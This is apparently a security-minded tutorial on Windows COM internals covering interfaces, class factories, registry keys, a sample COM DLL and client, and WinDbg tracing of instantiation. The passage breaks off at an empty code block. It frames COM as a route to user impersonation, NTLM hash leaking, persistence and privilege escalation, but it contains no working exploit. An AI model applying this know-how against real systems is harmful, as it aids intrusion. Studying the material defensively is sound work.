# COM object

IppY0kai from the future check out my tool, [ComDumper](https://github.com/Abdelhadi963/ComDumper).

## <mark style="color:red;">Intorduction</mark>

The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft's OLE (compound documents), ActiveX (Internet-enabled components), as well as others.

In other words, COM can be seen as a **programming paradigm** that Microsoft uses to build **reusable system components**. These components can be shared across different applications, enabling seamless integration and interaction—even between programs written in different languages.

Although Microsoft provides extensive documentation on COM, it is important to understand that COM is **not** simply an object-oriented programming (OOP) paradigm. Instead, COM defines a **binary standard** that allows software components to interact at the byte level through well-defined interfaces.

These interfaces are essentially pointers to compiled code, enabling communication between components regardless of the programming language they were written in. This low-level mechanism allows for language-agnostic reuse of functionality without requiring source code sharing or inheritance typical in OOP

COM object can be created using any programing language like C/C++ or C# using the predefinded interfaces but the defintion of an interface in this context slightly diffrent from the OOP context is like a predfined set of function ready to use.

#### <mark style="color:orange;">Why Target COM?</mark>

Windows, as always, hides much of its complexity behind the COM model. The operating system relies heavily on COM to implement many advanced features such as authentication, process context switching, and inter-process communication.

Because COM objects can run with different privileges — including SYSTEM or specific user contexts — manipulating them can allow an attacker to **impersonate users**, maintain **persistence**, and escalate privileges.

For example, triggering a COM object in another user’s session can leak their NTLM hash, enabling impersonation. More advanced exploitation techniques, like the well-known [**RemotePotato0**](https://github.com/antonioCoco/RemotePotato0) vulnerability abusing DCOM objects.

<figure><img src="/files/vOIZVkVTF3FEAb5X5U7c" alt="" width="563"><figcaption><p>Simplified Visual COM Model</p></figcaption></figure>

### <mark style="color:blue;">COM interfaces & Objects</mark>

#### <mark style="color:orange;">COM Object</mark>

An object is an instance of a class, just like an interface, which is a particular type of class. An interface represents a set of functions and attributes that are ready to be used and manipulated by the client who instantiates the object. In this case, a COM object acts like a pointer to an interface.

#### <mark style="color:orange;">Interface</mark>

An interface in COM language is a set of predefined functions unlik OOP interfaces where we extend them the class should implimente the methods provided by the interface. Which mean an instance of iterface implimentation is a pointer to an array of pointers to methods — that is a function table that referes to an implimentation of all the methods specified in the interface.

Objects with multiple interfaces can provide pointers to more than one function table. Any code that has a pointer through which it can access the array can call the methods in that interface.

An instance of an interface implementation is actually a pointer to an array of pointers to methods - that is, a function table that refers to an implementation of all of the methods specified in the interface. Objects with multiple interfaces can provide pointers to more than one function table. Any code that has a pointer through which it can access the array can call the methods in that interface.

In some languages that support COM like C++ we can like call function from an interface directly by there names instead of incriment the pointer to reach it in function table. or we can define this schema.

<figure><img src="/files/lE1s5vSRVCWGd4O9Mni7" alt=""><figcaption><p>Interface Instantation</p></figcaption></figure>

<figure><img src="/files/od7Zs5s5G7T6jsGoeh36" alt=""><figcaption><p>COM client Instantiation</p></figcaption></figure>

<mark style="color:orange;">**How Interfaces are mapped ?**</mark>

Each interface is an immutable contract of a functional group of methods. You reference an interface at run time with a globally unique interface identifier (IID). This <mark style="color:purple;">IID</mark>, which is a specific instance of a globally unique identifier (GUID) supported by COM, allows a client to ask an object precisely whether it supports the semantics of the interface, without unnecessary overhead and without the confusion that could arise in a system from having multiple versions of the same interface with the same name.

A COM class can implement multiple interfaces, grouping related functionality under one concrete implementation. Each COM class is identified by a unique <mark style="color:purple;">**CLSID**</mark> (Class ID), which is a **globally unique identifier (GUID)** used by the system to locate and instantiate the class. Optionally, a class can also have a <mark style="color:purple;">**ProgID**</mark> (Programmatic Identifier), which is a human-readable alias (like `"Word.Application"`). Unlike the <mark style="color:purple;">CLSID</mark>, a <mark style="color:purple;">ProgID</mark> is **not guaranteed to be globally unique**, but it's often used for convenience, especially in scripting languages.

<mark style="color:green;">**Summery :**</mark>

* **A COM interface is not a C++ class.**\
  C++ can implement a COM interface as a pure virtual class, but COM does not care about implementation details—only the binary contract.
* **A COM interface is not an object.**\
  It is just a set of function pointers. Objects implement interfaces but are separate from them.
* **COM interfaces are strongly typed.**\
  Each interface has a unique <mark style="color:purple;">IID</mark> (a GUID), ensuring precise identification at runtime.
* **COM interfaces are immutable.**\
  You cannot modify an existing interface. Changes require defining a new one. This guarantees compatibility between components.
* **Objects can support multiple interfaces simultaneously.**\
  Each interface defines a separate contract. Clients can query for interfaces and interact with only the functionality they need.

#### <mark style="color:orange;">Where COM objects are stored  ?</mark>

Most COM information is stored in the **Windows Registry** under specific keys. The Registry acts as a central database that maps **COM class IDs (CLSIDs)**, **interface IDs (IIDs)**, and **programmatic identifiers (ProgIDs)** to their implementations.

Here are the main Registry locations relevant to COM:

| Registry Key                            | Purpose                                                                                 |
| --------------------------------------- | --------------------------------------------------------------------------------------- |
| `HKEY_CLASSES_ROOT\CLSID\{CLSID}`       | Stores info about COM classes, including DLL/EXE location, threading model, and ProgIDs |
| `HKEY_CLASSES_ROOT\Interface\{IID}`     | Stores info about COM interfaces (human-readable names, type libraries)                 |
| `HKEY_CLASSES_ROOT\ProgID`              | Maps human-readable ProgIDs (like `"Excel.Application"`) to CLSIDs                      |
| `HKEY_CLASSES_ROOT\TypeLib\{TypeLibID}` | Stores information about type libraries (ID and versioning info)                        |

In order to enumeratre COM objects using there identifiers ( by CLSID, by ProgID, by server executable) we can use multi tools such as  [OleViewDotNet](https://github.com/tyranid/oleviewdotnet) created by [James Forshaw](https://twitter.com/tiraniddo) and the tool [COMView](https://www.japheth.de/COMView.html).

First we can create a simple python script to get the name of registed interface using his **GUID**.

```python
import winreg
import argparse

def reg_query(root, path):
    try:
        with winreg.OpenKey(root, path) as key:
            name, _ = winreg.QueryValueEx(key, "")
            return name
    except FileNotFoundError:
        return None

def lookup_guid(guid: str) -> str | None:
    # Check Interface key
    name = reg_query(winreg.HKEY_CLASSES_ROOT, f"Interface\\{{{guid}}}")
    if name:
        return f"Interface: {name}"
    # Check CLSID key
    name = reg_query(winreg.HKEY_CLASSES_ROOT, f"CLSID\\{{{guid}}}")
    if name:
        return f"Class: {name}"
    return None

def main():
    parser = argparse.ArgumentParser(description="Lookup COM interface or class name by GUID.")
    parser.add_argument("guid", help="COM GUID (e.g., 00000000-0000-0000-0000-000000000000)")
    args = parser.parse_args()

    result = lookup_guid(args.guid)
    if result:
        print(f"[+] {result}")
    else:
        print("[-] GUID not found in Interface or CLSID registry keys.")

if __name__ == "__main__":
    main()
```

testing it with  7zip `CLSID`&#x20;

<figure><img src="/files/FynRX9aTcUOYOtyahtCq" alt=""><figcaption><p>7zip shell extention</p></figcaption></figure>

Now we can start explore COM object using  [OleViewDotNet](https://github.com/tyranid/oleviewdotnet)&#x20;

windows has alot of CLSIDs

**CLSID Count**

* Total unique Class IDs (globally unique identifiers for COM classes)
* *Value:* 11,787

**InProcServer CLSID Count**

* Classes designed to run **inside** the caller's process (typically DLLs)
* *Value:* 10,713

**LocalServer CLSID Count**

* Classes running in **dedicated processes** (typically EXEs)
* *Value:* 978

**InProcHandler CLSID Count**

* Classes handling custom marshaling/communication between processes
* *Value:* 135

<figure><img src="/files/ncIhKSd0gMVu8J3YnRTT" alt=""><figcaption><p>COM statics</p></figcaption></figure>

we can lookup CLSID for 7 zip again we can see the associated interfaces :&#x20;

> Notice that Interface names start with `I`  as a naming convention.

<figure><img src="/files/1VnyuSU8egBstAvevZwS" alt=""><figcaption></figcaption></figure>

### <mark style="color:purple;">**Factory Class**</mark>

**factory interfaces** are special interfaces used to **create (instantiate) COM objects** — they are like "constructors" in object-oriented programming, but more powerful and flexible because they’re COM-based.

Key Concepts:

* **Class Factory:**&#x41; COM component (typically implementing `IClassFactory` or `IClassFactory2`) that acts as a creator for other COM objects. It provides methods like `CreateInstance` to generate new objects.
* `IClassFactory`:The fundamental interface for class factories, providing the core `CreateInstance` and `LockServer` methods.
* `IClassFactory2`:An extension of `IClassFactory`, adding features like licensing support.
* `CoGetClassObject`:A function used to retrieve a class factory object from a given class identifier (CLSID).
* `CoCreateInstance`:A function that combines the steps of getting the class factory and creating an instance.&#x20;

we can take a look at the header file for this interface for more details check [github](https://github.com/tpn/winsdk-10/blob/master/Include/10.0.14393.0/um/Unknwn.h#L109)&#x20;

<figure><img src="/files/jh8cEgi53VB5Z6TJAq5d" alt=""><figcaption></figcaption></figure>

How it works:

**1. Client requests an object:**&#x41; client component, needing to use a COM object, calls `CoGetClassObject` or `CoCreateInstance` with the target object's CLSID.

**2. Class factory is retrieved:**`CoGetClassObject` locates and returns an `IClassFactory` interface for the specified CLSID, if available.

**3. Object is created:**&#x54;he client calls the `CreateInstance` method on the retrieved `IClassFactory` interface, passing an interface pointer (e.g., `IUnknown*`) to receive the new object's reference.

**4. Object is used:**&#x54;he client can now interact with the newly created object through the requested interface.&#x20;

taking look at  another commenly used class `13709620-C279-11CE-A49E-444553540000`

```
python .\com-lookup.py 13709620-C279-11CE-A49E-444553540000
[+] Class: Shell Automation Service
```

<figure><img src="/files/FJwTjoRPuDMIX71iBM3V" alt=""><figcaption><p>Shell Automation Service</p></figcaption></figure>

we can see that this Class impliment many interfaces & we have the factory interfaces too. we can take a look on IIDs of interfaces

<figure><img src="/files/AP3U6gtaCBYQmb1FFd2o" alt=""><figcaption><p>Supported Interface + Vtables</p></figcaption></figure>

As we can see, Vtables from shell32.dll, offsets, and some factory interfaces with IIDs are involved. Now, we need to pay much more attention to these interfaces.

### <mark style="color:purple;">**IUnknown**</mark>&#x20;

&#x20;Enables clients to get pointers to other interfaces on a given object through the [QueryInterface](https://learn.microsoft.com/en-us/windows/desktop/api/unknwn/nf-unknwn-iunknown-queryinterface\(q\)) method, and manage the existence of the object through the [AddRef](https://learn.microsoft.com/en-us/windows/desktop/api/unknwn/nf-unknwn-iunknown-addref) and [Release](https://learn.microsoft.com/en-us/windows/desktop/api/unknwn/nf-unknwn-iunknown-release) methods. All other COM interfaces are inherited, directly or indirectly, from IUnknown. Therefore, the three methods in IUnknown are the first entries in the vtable for every interface.

In short, we can abstract it as follows (a simplified abstraction of it ).

```cpp
interface IUnknown {
    HRESULT QueryInterface(REFIID riid, void** ppvObject);
    ULONG AddRef();
    ULONG Release();
};
```

We can take a look at its header file in the Windows SDK header files on [github](https://github.com/tpn/winsdk-10/blob/master/Include/10.0.14393.0/um/Unknwn.h#L109).&#x20;

<figure><img src="/files/V0VFWKYYzIs43RaKAyMY" alt=""><figcaption></figcaption></figure>

We can use [COMView](https://www.japheth.de/COMView.html)  to see the functions implemented in a given interface.

We can observe that the `IUnknown` interface methods are the first three functions of every COM interface.

<figure><img src="/files/GccpY0k5BTvebEvEgF70" alt=""><figcaption><p>IUnkown implimetntation is every where</p></figcaption></figure>

## <mark style="color:red;">Under The hood</mark>

### <mark style="color:blue;">COM Objects Creation</mark>

Now that we have a basic understanding of how COM works, let’s dive deeper into how the instantiation mechanism operates under the hood.

The creation process goes as  follow :&#x20;

The client call <mark style="color:purple;">`CoCreateInstance`</mark>  with CLSID then com subsystem call <mark style="color:purple;">`CoGetClassObject`</mark>  locate regestry entry for the COM server code ( e.g DLL, EXE )  load the server code that export the implimentation of <mark style="color:purple;">`DllGetClassObject`</mark>  this function create an instance of the class factory that impliment <mark style="color:purple;">`IClassFactory`</mark>  return a pointer to it , then the client call <mark style="color:purple;">`IClassFactory::CreateInstance`</mark>  to get the object reference.

```clike
Client calls:
   CoCreateInstance(CLSID, ..., IID, &interfacePtr)

Inside CoCreateInstance:
   1. CoGetClassObject(CLSID, ..., IID_IClassFactory, &classFactoryPtr)
   2. classFactoryPtr->CreateInstance(NULL, IID, &interfacePtr)
   3. Release classFactoryPtr
   4. Return interfacePtr to client
```

<figure><img src="/files/1sV1vbyMFksKjFeiQDr9" alt=""><figcaption><p>Simplified View Off come ecosystem</p></figcaption></figure>

Let's take a deep look at each function we call from Microsoft Docs. Since `CoCreateInstance` calls `CoGetClassObject` under the hood, we can start with it directly.

#### <mark style="color:blue;">CoGetClassObject</mark>

Provides a pointer to an interface on a class object associated with a specified CLSID. CoGetClassObject locates, and if necessary, dynamically loads the executable code required to do this.

Call CoGetClassObject directly to create multiple objects through a class object for which there is a CLSID in the system registry. You can also retrieve a class object from a specific remote computer. Most class objects implement the [IClassFactory](https://learn.microsoft.com/en-us/windows/desktop/api/unknwnbase/nn-unknwnbase-iclassfactory) interface. You would then call [CreateInstance](https://learn.microsoft.com/en-us/windows/desktop/api/unknwn/nf-unknwn-iclassfactory-createinstance) to create an uninitialized object. It is not always necessary to go through this process however. To create a single object, call the [CoCreateInstanceEx](https://learn.microsoft.com/en-us/windows/desktop/api/combaseapi/nf-combaseapi-cocreateinstanceex) function, which allows you to create an instance on a remote machine. This replaces the [CoCreateInstance](https://learn.microsoft.com/en-us/windows/desktop/api/combaseapi/nf-combaseapi-cocreateinstance) function, which can still be used to create an instance on a local computer. Both functions encapsulate connecting to the class object, creating the instance, and releasing the class object. Two other functions, [CoGetInstanceFromFile](https://learn.microsoft.com/en-us/windows/desktop/api/objbase/nf-objbase-cogetinstancefromfile) and [CoGetInstanceFromIStorage](https://learn.microsoft.com/en-us/windows/desktop/api/objbase/nf-objbase-cogetinstancefromistorage), provide both instance creation on a remote system and object activation. There are numerous functions and interface methods whose purpose is to create objects of a single type and provide a pointer to an interface on that object.

Code Syntaxt call

```cpp
HRESULT CoGetClassObject(
  [in]           REFCLSID rclsid,
  [in]           DWORD    dwClsContext,
  [in, optional] LPVOID   pvReserved,
  [in]           REFIID   riid,
  [out]          LPVOID   *ppv
);
```

`[in] rclsid`

The CLSID associated with the data and code that you will use to create the objects.

`[in] dwClsContext`

The context in which the executable code is to be run. To enable a remote activation, include CLSCTX\_REMOTE\_SERVER. For more information on the context values and their use, see the [CLSCTX](https://learn.microsoft.com/en-us/windows/desktop/api/wtypesbase/ne-wtypesbase-clsctx) enumeration.

`[in, optional] pvReserved`

A pointer to computer on which to instantiate the class object. If this parameter is NULL, the class object is instantiated on the current computer or at the computer specified under the class's [RemoteServerName](https://learn.microsoft.com/en-us/windows/desktop/com/remoteservername) key, according to the interpretation of the *dwClsCtx* parameter. See [COSERVERINFO](https://learn.microsoft.com/en-us/windows/desktop/api/objidl/ns-objidl-coserverinfo).

`[in] riid`

Reference to the identifier of the interface, which will be supplied in *ppv* on successful return. This interface will be used to communicate with the class object. Typically this value is IID\_IClassFactory, although other values such as IID\_IClassFactory2 which supports a form of licensing are allowed. All OLE-defined interface IIDs are defined in the OLE header files as IID\_interfacename, where interfacename is the name of the interface.

`[out] ppv`

The address of pointer variable that receives the interface pointer requested in *riid*. Upon successful return, \**ppv* contains the requested interface pointer.

To abstract the mechanism for obtaining an object reference, we can create a demo. This will involve creating and registering a COM Class that prints `hello from ippokai` or any other message for a hands-on experience with `C++`. First, we need to create the header `HelloCOM.h`.

```cpp
#pragma once
#include <windows.h>
#include <unknwn.h>

// {12345678-1234-1234-1234-123456789ABC} - Our unique CLSID
static const CLSID CLSID_HelloCOM = 
    { 0x12345678, 0x1234, 0x1234, { 0x12, 0x34, 0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC } };

// {87654321-4321-4321-4321-CBA987654321} - Our interface IID
static const IID IID_IHello = 
    { 0x87654321, 0x4321, 0x4321, { 0x43, 0x21, 0xCB, 0xA9, 0x87, 0x65, 0x43, 0x21 } };

// IHello interface - inherits from IUnknown
interface IHello : public IUnknown
{
    virtual HRESULT STDMETHODCALLTYPE SayHello() = 0;
};
```

Create the `HelloCOM.def` file to specify which function names should be exported. This prevents the compiler from altering the exported function names, such as adding type information that changes the function name, ensuring the COM object can be registered correctly.

```cpp
EXPORTS
DllGetClassObject   PRIVATE
DllCanUnloadNow     PRIVATE
DllRegisterServer   PRIVATE
DllUnregisterServer PRIVATE
```

Create a `HelloCOM.cpp` file that implements the `IClassFactory` and `IUnknown` interfaces with an export function.

```cpp
#include "HelloCOM.h"
#include <stdio.h>

// Global variables for DLL management
HMODULE g_hModule = NULL;
LONG g_cLocks = 0;      // Lock count for DLL unloading
LONG g_cObjects = 0;    // Object count

// Helper function to increment/decrement object count
void ObjectCreated() { InterlockedIncrement(&g_cObjects); }
void ObjectDestroyed() { InterlockedDecrement(&g_cObjects); }

//=============================================================================
// CHelloCOM - Our COM class implementation
class CHelloCOM : public IHello
{
private:
    LONG m_cRef;        // Reference count

public:
    // Constructor
    CHelloCOM() : m_cRef(1) 
    { 
        ObjectCreated();
    }

    // Destructor
    ~CHelloCOM() 
    { 
        ObjectDestroyed();
    }

    // IUnknown methods
    STDMETHODIMP QueryInterface(REFIID riid, void** ppv)
    {
        if (ppv == NULL) return E_INVALIDARG;
        
        *ppv = NULL;
        
        if (riid == IID_IUnknown)
            *ppv = static_cast<IUnknown*>(this);
        else if (riid == IID_IHello)
            *ppv = static_cast<IHello*>(this);
        else
            return E_NOINTERFACE;
            
        AddRef();
        return S_OK;
    }

    STDMETHODIMP_(ULONG) AddRef()
    {
        return InterlockedIncrement(&m_cRef);
    }

    STDMETHODIMP_(ULONG) Release()
    {
        LONG cRef = InterlockedDecrement(&m_cRef);
        if (cRef == 0)
            delete this;
        return cRef;
    }

    // IHello methods
    STDMETHODIMP SayHello()
    {
        MessageBoxA(NULL, "Hello from COM created by ippyokai", "COM Demo", MB_OK);
        return S_OK;
    }
};

//=============================================================================
// CHelloClassFactory - Class factory implementation
class CHelloClassFactory : public IClassFactory
{
private:
    LONG m_cRef;

public:
    CHelloClassFactory() : m_cRef(1) 
    { 
        InterlockedIncrement(&g_cLocks);
    }

    ~CHelloClassFactory() 
    { 
        InterlockedDecrement(&g_cLocks);
    }

    // IUnknown methods
    STDMETHODIMP QueryInterface(REFIID riid, void** ppv)
    {
        if (ppv == NULL) return E_INVALIDARG;
        
        *ppv = NULL;
        
        if (riid == IID_IUnknown || riid == IID_IClassFactory)
            *ppv = static_cast<IClassFactory*>(this);
        else
            return E_NOINTERFACE;
            
        AddRef();
        return S_OK;
    }

    STDMETHODIMP_(ULONG) AddRef()
    {
        return InterlockedIncrement(&m_cRef);
    }

    STDMETHODIMP_(ULONG) Release()
    {
        LONG cRef = InterlockedDecrement(&m_cRef);
        if (cRef == 0)
            delete this;
        return cRef;
    }

    // IClassFactory methods
    STDMETHODIMP CreateInstance(IUnknown* pUnkOuter, REFIID riid, void** ppv)
    {
        if (ppv == NULL) return E_INVALIDARG;
        if (pUnkOuter != NULL) return CLASS_E_NOAGGREGATION;
        
        *ppv = NULL;
        
        CHelloCOM* pObj = new CHelloCOM();
        if (pObj == NULL) return E_OUTOFMEMORY;
        
        HRESULT hr = pObj->QueryInterface(riid, ppv);
        pObj->Release();
        
        return hr;
    }

    STDMETHODIMP LockServer(BOOL fLock)
    {
        if (fLock)
            InterlockedIncrement(&g_cLocks);
        else
            InterlockedDecrement(&g_cLocks);
        return S_OK;
    }
};

//=============================================================================
// DLL Entry Point
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
    switch (dwReason)
    {
    case DLL_PROCESS_ATTACH:
        g_hModule = hModule;
        DisableThreadLibraryCalls(hModule);
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

//=============================================================================
// Required DLL Exports

// DllGetClassObject - Creates class factory for requested CLSID
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, void** ppv)
{
    if (ppv == NULL) return E_INVALIDARG;
    
    *ppv = NULL;
    
    if (rclsid != CLSID_HelloCOM)
        return CLASS_E_CLASSNOTAVAILABLE;
        
    CHelloClassFactory* pFactory = new CHelloClassFactory();
    if (pFactory == NULL) return E_OUTOFMEMORY;
    
    HRESULT hr = pFactory->QueryInterface(riid, ppv);
    pFactory->Release();
    
    return hr;
}

// DllCanUnloadNow - Check if DLL can be unloaded
STDAPI DllCanUnloadNow()
{
    return (g_cObjects == 0 && g_cLocks == 0) ? S_OK : S_FALSE;
}

// Helper function to set registry key
HRESULT SetRegKey(HKEY hKeyRoot, LPCSTR pszPath, LPCSTR pszValue, LPCSTR pszData)
{
    HKEY hKey;
    LONG lResult = RegCreateKeyExA(hKeyRoot, pszPath, 0, NULL, 
                                   REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
    
    if (lResult != ERROR_SUCCESS) return HRESULT_FROM_WIN32(lResult);
    
    lResult = RegSetValueExA(hKey, pszValue, 0, REG_SZ, 
                            (BYTE*)pszData, (DWORD)(strlen(pszData) + 1));
    
    RegCloseKey(hKey);
    return HRESULT_FROM_WIN32(lResult);
}

// DllRegisterServer - Register COM object in registry
STDAPI DllRegisterServer()
{
    char szModule[MAX_PATH];
    GetModuleFileNameA(g_hModule, szModule, MAX_PATH);
    
    char szCLSID[64];
    sprintf_s(szCLSID, "CLSID\\{12345678-1234-1234-1234-123456789ABC}");
    
    // Register CLSID
    SetRegKey(HKEY_CLASSES_ROOT, szCLSID, "", "HelloCOM Class");
    
    char szInprocServer[MAX_PATH + 64];
    sprintf_s(szInprocServer, "%s\\InprocServer32", szCLSID);
    SetRegKey(HKEY_CLASSES_ROOT, szInprocServer, "", szModule);
    SetRegKey(HKEY_CLASSES_ROOT, szInprocServer, "ThreadingModel", "Apartment");
    
    return S_OK;
}

// DllUnregisterServer - Unregister COM object from registry
STDAPI DllUnregisterServer()
{
    RegDeleteKeyA(HKEY_CLASSES_ROOT, "CLSID\\{12345678-1234-1234-1234-123456789ABC}\\InprocServer32");
    RegDeleteKeyA(HKEY_CLASSES_ROOT, "CLSID\\{12345678-1234-1234-1234-123456789ABC}");
    
    return S_OK;
}

```

To compile this file and create a DLL, you can use the VS Command Prompt with the `cl` compiler.

```
cl /LD HelloCOM.cpp /Fe:HelloCOM.dll HelloCOM.def ole32.lib oleaut32.lib uuid.lib user32.lib advapi32.lib
```

we can register our new COM interface

```
regsvr32 HelloCOM.dll
```

Now, we can create the client.

```cpp
// Client.cpp - COM Client Example
#include <windows.h>
#include <iostream>
#include "HelloCOM.h"  // Include our interface definitions

int main()
{
    std::cout << "COM Client Demo - Creating HelloCOM object\n";
    
    // Initialize COM library
    HRESULT hr = CoInitialize(NULL);
    if (FAILED(hr))
    {
        std::cout << "Failed to initialize COM. Error: 0x" << std::hex << hr << std::endl;
        return 1;
    }
    
    std::cout << "COM initialized successfully.\n";
    
    // Create instance of our COM object
    IHello* pHello = NULL;
    hr = CoCreateInstance(
        CLSID_HelloCOM,         // Class ID of our COM object
        NULL,                   // No aggregation
        CLSCTX_INPROC_SERVER,   // In-process server
        IID_IHello,             // Interface we want
        (void**)&pHello         // Pointer to receive interface
    );
    
    if (SUCCEEDED(hr) && pHello != NULL)
    {
        std::cout << "COM object created successfully!\n";
        std::cout << "Calling SayHello() method...\n";
        
        // Call the SayHello method (this will show a message box)
        hr = pHello->SayHello();
        
        if (SUCCEEDED(hr))
        {
            std::cout << "SayHello() called successfully!\n";
        }
        else
        {
            std::cout << "Failed to call SayHello(). Error: 0x" << std::hex << hr << std::endl;
        }
        
        // Release the interface
        pHello->Release();
        std::cout << "Interface released.\n";
    }
    else
    {
        std::cout << "Failed to create COM object. Error: 0x" << std::hex << hr << std::endl;
        std::cout << "Make sure the DLL is registered using: regsvr32 HelloCOM.dll\n";
    }
    
    // Uninitialize COM
    CoUninitialize();
    std::cout << "COM uninitialized. Press Enter to exit...\n";
    std::cin.get();
    
    return 0;
}
```

Compile it.

```
cl Client.cpp ole32.lib user32.lib
```

Input:

Upon running the client, we received the message box.

<figure><img src="/files/YFjZny8hsjfuIYzyGke7" alt=""><figcaption><p>Successfully called the COM object</p></figcaption></figure>

Now, we can start working on instantiating a COM object using `OleViewDoNet.exe`.

<figure><img src="/files/YDOaYptzxXNo4Gi5DypV" alt=""><figcaption><p>How To Create Instance</p></figcaption></figure>

now we can see the Shell Automation Service Instance

<figure><img src="/files/N9jHHBbkhFzWK3RbP19G" alt=""><figcaption><p>Created Instance</p></figcaption></figure>

### <mark style="color:blue;">Tracking COM  Instantiation</mark>

The process of how `OleViewDoNet.exe` creates the instance is quite abstract. We can try to hook API calls to see exactly what happens under the hood. Now, we can use `WinDbg` to debug and track the instantiation process. From previous sections, we know that the program will call <mark style="color:purple;">`DLLGetObjectClass`</mark>, which returns the Class Factory pointer. We can attempt to monitor this process.

Methods from the loaded DLLs after the first run.

<figure><img src="/files/CQhVZ2O3TNlZsYI01mIG" alt=""><figcaption><p>Loaded Functions</p></figcaption></figure>

Now, we can set the breakpoint on `DllGetClassObject`.

```
0:009> x shell32!DllGetClassObject
00007ff8`b1ebdb30 shell32!DllGetClassObject (void)
0:009> bp shell32!DLLGetObjectClass
Couldn't resolve error at 'shell32!DLLGetObjectClass'
0:009> bp shell32!DllGetClassObject
0:009> g
Breakpoint 0 hit
shell32!DllGetClassObject:
00007ff8`b1ebdb30 4053            push    rbx
```

<figure><img src="/files/nuNjuN3w5igMeGK09MfK" alt=""><figcaption><p>Windbg</p></figcaption></figure>

Here is the Stack function. We can also see there are COM base functions like `CoCreateInstance` and <mark style="color:purple;">`CoBase!DLLGetClassObject`</mark>.

```
0:000> bp Combase!DLLGetClassObject
0:000> g
Breakpoint 2 hit
combase!DllGetClassObject:
00007ff8`b2cf6a30 48895c2408      mov     qword ptr [rsp+8],rbx ss:0000002e`5cafd0d0=0000000000102015
```

It uses a CLSID to obtain the Class Factory address and then proceeds to the next code.

<figure><img src="/files/lnjkIV0yZRCW6dhCeKkz" alt=""><figcaption><p>CoGetClassObject</p></figcaption></figure>

### <mark style="color:blue;">Interacting with COM objects</mark>

To interact with a COM class, we first need to get the Class Factory Pointer to instantiate the interfaces. To do so, we need to define the GUID as a global constant variable. We must initialize COM using <mark style="color:purple;">`CoInitialize`</mark>, which can be called once at the beginning of our program. We can refer to Microsoft documentation for each function and global variable definition. For example, the GUID of the shell automation server `13709620-C279-11CE-A49E-444553540000` becomes as follows:  [GUID](https://learn.microsoft.com/en-us/windows/win32/api/guiddef/ns-guiddef-guid)

```c
DEFINE_GUID(clsid, 
    0x13709620, 0xc279, 0x11ce, 
    0xa4, 0x9e, 0x44, 0x45, 0x53, 0x54, 0x00, 0x00);
```

To begin, we can create the first code snippet to interact with the COM interface. For clarity, we can use the `StringFromCLSID` function to convert the `GUID Struct` back to its usual form. Additionally, we can call the `ProgIDFromCLSID` function to obtain a human-readable string of the COM class.

```c
HRESULT StringFromCLSID(
  [in]  REFCLSID rclsid,
  [out] LPOLESTR *lplpsz
);
```

`[in] rclsid`

The CLSID to be converted.

`[out] lplpsz`

The address of a pointer variable that receives a pointer to the resulting string. The string that represents *rclsid* includes enclosing braces.

```c
HRESULT ProgIDFromCLSID(
  [in]  REFCLSID clsid,
  [out] LPOLESTR *lplpszProgID
);
```

`[in] clsid`

The CLSID for which the ProgID is to be requested.

`[out] lplpszProgID`

The address of a pointer variable that receives the ProgID string. The string that represents *clsid* includes enclosing braces.

Next we can initialze the COM via `CoInitialize`&#x20;

```c
HRESULT CoInitialize(
  [in, optional] LPVOID pvReserved
);
```

#### Parameters <a href="#parameters" id="parameters"></a>

`[in, optional] pvReserved`

This parameter is reserved and must be NULL.

Load the `Shell32.dll` to get a pointer to the `DllGetClassObject` function. Add some offset calculations to verify access to the factory class function tables.

```c
#include <stdio.h>
#include <windows.h>
#include <initguid.h>
#include <objbase.h>

DEFINE_GUID(clsid,
    0x13709620, 0xc279, 0x11ce,
    0xa4, 0x9e, 0x44, 0x45, 0x53, 0x54, 0x00, 0x00);

int main(int argc, char* argv[]) {
    HRESULT hr;
    LPOLESTR clsid_str = NULL;

    hr = StringFromCLSID(&clsid, &clsid_str);
    if (SUCCEEDED(hr)) {
        wprintf(L"[*] Using CLSID: %s\n", clsid_str);
        CoTaskMemFree(clsid_str);
    }
    else {
        printf("[-] StringFromCLSID failed\n");
    }

    LPOLESTR prog_name = NULL;
    hr = ProgIDFromCLSID(&clsid, &prog_name);
    if (SUCCEEDED(hr)) {
        wprintf(L"[*] Using ProgID: %s\n", prog_name);
        CoTaskMemFree(prog_name);
    }
    else {
        printf("[-] ProgIDFromCLSID failed or not found\n");
    }

    hr = CoInitialize(NULL);
    if (FAILED(hr)) {
        printf("[-] CoInitialize failed with error: 0x%08lx\n", hr);
        return 1;
    }
    printf("[*] CoInitialize succeeded\n");

    // Load shell32.dll
    HMODULE shell32 = LoadLibraryA("shell32.dll");
    if (!shell32) {
        printf("[-] LoadLibrary shell32.dll failed: %lu\n", GetLastError());
        CoUninitialize();
        return 1;
    }

    // Define function pointer type for DllGetClassObject
    typedef HRESULT(__stdcall* PFN_DllGetClassObject)(REFCLSID, REFIID, LPVOID*);
    PFN_DllGetClassObject DllGetClassObject = (PFN_DllGetClassObject)GetProcAddress(shell32, "DllGetClassObject");
    if (!DllGetClassObject) {
        printf("[-] GetProcAddress failed: %lu\n", GetLastError());
        FreeLibrary(shell32);
        CoUninitialize();
        return 1;
    }
    printf("[*] DllGetClassObject address: %p\n", DllGetClassObject);

    IClassFactory* class_factory = NULL;
    hr = DllGetClassObject(&clsid, &IID_IClassFactory, (void**)&class_factory);
    if (FAILED(hr)) {
        printf("[-] DllGetClassObject failed with error: 0x%08lx\n", hr);
        FreeLibrary(shell32);
        CoUninitialize();
        return 1;
    }
    printf("[*] DllGetClassObject succeeded, class_factory: %p\n", class_factory);

    // Calculate vtable offset from module base (optional)
    uintptr_t vtable_addr = (uintptr_t)(class_factory->lpVtbl);
    uintptr_t module_base = (uintptr_t)shell32;
    printf("[*] VTable offset: 0x%llx\n", (unsigned long long)(vtable_addr - module_base));

    // Cleanup
    class_factory->lpVtbl->Release(class_factory);
    FreeLibrary(shell32);
    CoUninitialize();

    return 0;
}

```

Compiling the code

```
cl /nologo /W4 /EHsc ShellCom.c ole32.lib
```

<figure><img src="/files/KWQPTGtlZ0bey1vFimX1" alt=""><figcaption><p>Offset</p></figcaption></figure>

We can see that we have a valid pointer to the class factory table. Now, we can call it to create an instance of our COM object. We need to use `CreateInstance` to get a pointer to the `IDispatch` interface.

```cpp
